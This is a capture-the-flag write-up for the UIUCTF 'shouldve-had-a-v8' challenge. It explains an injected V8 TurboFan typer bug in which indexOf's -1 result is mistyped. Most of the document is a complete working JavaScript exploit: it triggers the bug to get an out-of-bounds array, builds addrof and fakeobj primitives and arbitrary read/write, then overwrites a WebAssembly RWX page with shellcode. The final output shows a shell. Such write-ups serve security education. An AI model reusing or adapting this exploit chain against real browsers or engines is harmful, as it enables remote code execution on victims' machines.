UIUCTF shouldve-had-a-v8 Browser Challenge Mini Writeup
## Vulnerability
Patch file :
```javascript=
diff --git a/src/compiler/js-create-lowering.cc b/src/compiler/js-create-lowering.cc
index 899922a27f..aea23fe7ea 100644
--- a/src/compiler/js-create-lowering.cc
+++ b/src/compiler/js-create-lowering.cc
@@ -681,7 +681,7 @@ Reduction JSCreateLowering::ReduceJSCreateArray(Node* node) {
int capacity = static_cast<int>(length_type.Max());
// Replace length with a constant in order to protect against a potential
// typer bug leading to length > capacity.
- length = jsgraph()->Constant(capacity);
+ //length = jsgraph()->Constant(capacity);
return ReduceNewArray(node, length, capacity, *initial_map, elements_kind,
allocation, slack_tracking_prediction);
}
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 0f18222236..0f76ad896e 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -2073,7 +2073,7 @@ Type Typer::Visitor::TypeStringFromCodePointAt(Node* node) {
}
Type Typer::Visitor::TypeStringIndexOf(Node* node) {
- return Type::Range(-1.0, String::kMaxLength, zone());
+ return Type::Range(0, String::kMaxLength, zone());
}
Type Typer::Visitor::TypeStringLength(Node* node) {
------------------------------------------------------------------------------------
```
Basically the vulnerability is a range miscalculation. The optimizer's assumptions are wrong about the range of values `string.indexOf` can return and the optimizer misses the `-1` case. Because of this, when `-1` occurs, there is a difference between the inferred value and actual value. We use this confusion to create an array having length greater than its length because in `ReduceJSCreateArray` the length is calculated by the graph generated by the optimizer.
Helpful links :
[P0 blogpost][P0]
[P0]: https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html
[JeremyFetiveau Exploit][__x86]
[__x86]: https://github.com/JeremyFetiveau/TurboFan-exploit-for-issue-762874
## Exploit
So the goal is creating an array with length `-1` however `-1` wont work directly.
Here is an example failed attempt :
* `new Array("".indexOf('A'))`
This fails is because turbofan will optimize away the `"".indexOf('A'))` to a constant 0 so eventually we get an array of length 0. We need to put and object with a string property inside trigger function to keep the constant folding from happening too soon. Note : when you tried things like `Math.min`. So we need to delay that until a phase after that, but before Simplified Lowering, in order to successfully trigger the `Array(-1)`
Reference :
[Exploiting the Math.expm1 typing bug in V8][Test]
[Test]: https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/
When we got oob access then rest of the part is about :
* Getting addrof
* Gaining read and write primitives
* Creating a Wasm Page (RWX)
* Inject shellcode
```javascript=
var conversion_buffer = new ArrayBuffer(8);
var float_view = new Float64Array(conversion_buffer);
var int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
function gc() {
for (var i = 0; i < 0x10000; ++i)
var a = new ArrayBuffer();
}
if (typeof print === undefined) {
var print = console.log;
}
var shellcode = [4.349575388168352e+199, 1.0543077975713235e-68, 1.9656830452247845e-236, 1.288531947997e-312, -6.828527034370483e-229];
function pwn() {
gc();
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;
function trigger(foo) {
let obj = {s: foo ? "" : "fuck"};
var x = String.prototype.indexOf.call(obj.s, "fuck");
x = x >> 30;
let oob_smi = new Array(x);
return oob_smi;
}
for (var i = 0; i < 0x4000; i++) {
trigger(false);
}
let oob_double = trigger(true);
print("[+] oob_double.length = " + oob_double.length);
new Promise(() => {
oob_double[0] = 3.14;
let arr_victim = [{}];
function addrof(obj) {
arr_victim[0] = obj;
return (oob_double[1].f2i() & 0xffffffffn) - 1n;
}
function fakeobj(addr) {
oob_double[1] = (addr | 1n).i2f();
return arr_victim[0];
}
let addr_proto = addrof(Array.prototype);
print("[+] addr_proto = " + addr_proto.hex());
let fake_map = [
0x1604040487654321n.i2f(),
0x0a0007ff2100043dn.i2f(),
(addr_proto | 1n).i2f()
];
let addr_fake_map = addrof(fake_map) + 0x34n;
console.log("[+] fake_map = " + addr_fake_map.hex());
let real_array = [(addr_fake_map | 1n).i2f(), 3.14];
real_array[1] = 2.17;
let addr_fake_array = addrof(real_array) - 0x10n;
console.log("[+] fake_array = " + addr_fake_array.hex());
let fake_array = fakeobj(addr_fake_array);
function half_aar64(addr) {
real_array[1] = (0x888800000001n | (addr-8n)).i2f();
return fake_array[0].f2i();
}
function half_aaw64(addr, value) {
real_array[1] = (0x888800000001n | (addr-8n)).i2f();
fake_array[0] = value.i2f();
}
function half_cleanup() {
real_array[0] = 0.0;
real_array[1] = 0.0;
}
let leaker = new Uint8Array(1);
let addr_leaker = addrof(leaker);
let compress_high = half_aar64(addr_leaker + 0x28n) & 0xffffffff00000000n;
console.log("[+] high = " + compress_high.hex());
let evil = new Float64Array(0x10);
let addr_evil = addrof(evil);
console.log("[+] addr_evil = " + addr_evil.hex());
let orig_evil = half_aar64(addr_evil + 0x28n);
function full_aar64(addr) {
half_aaw64(addr_evil + 0x28n, addr);
return evil[0].f2i();
}
function full_aaw64(addr, value) {
half_aaw64(addr_evil + 0x28n, addr);
evil[0] = value.i2f();
}
function full_cleanup() {
half_aaw64(addr_evil + 0x28n, orig_evil);
}
let addr_instance = addrof(instance);
console.log("[+] addr_instance = " + addr_instance.hex());
let addr_shellcode = half_aar64(addr_instance + 0x68n);
console.log("[+] addr_shellcode = " + addr_shellcode.hex());
for (let i = 0; i < shellcode.length; i++) {
full_aaw64(addr_shellcode + BigInt(i*8), shellcode[i].f2i());
}
main();
full_cleanup();
half_cleanup();
}).then();
}
pwn();
```
Thanks for help [ptr-yudai][Test2]
[Test2]:https://twitter.com/ptrYudai
Result :
```javascript=
./d8 ./exploit.js
[+] oob_double.length = -1
[+] addr_proto = 0x820b958
[+] fake_map = 0x80aaf60
[+] fake_array = 0x80ab0a0
[+] high = 0x210500000000
[+] addr_evil = 0x80ab400
[+] addr_instance = 0x82134d4
[+] addr_shellcode = 0x214a689cb000
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
```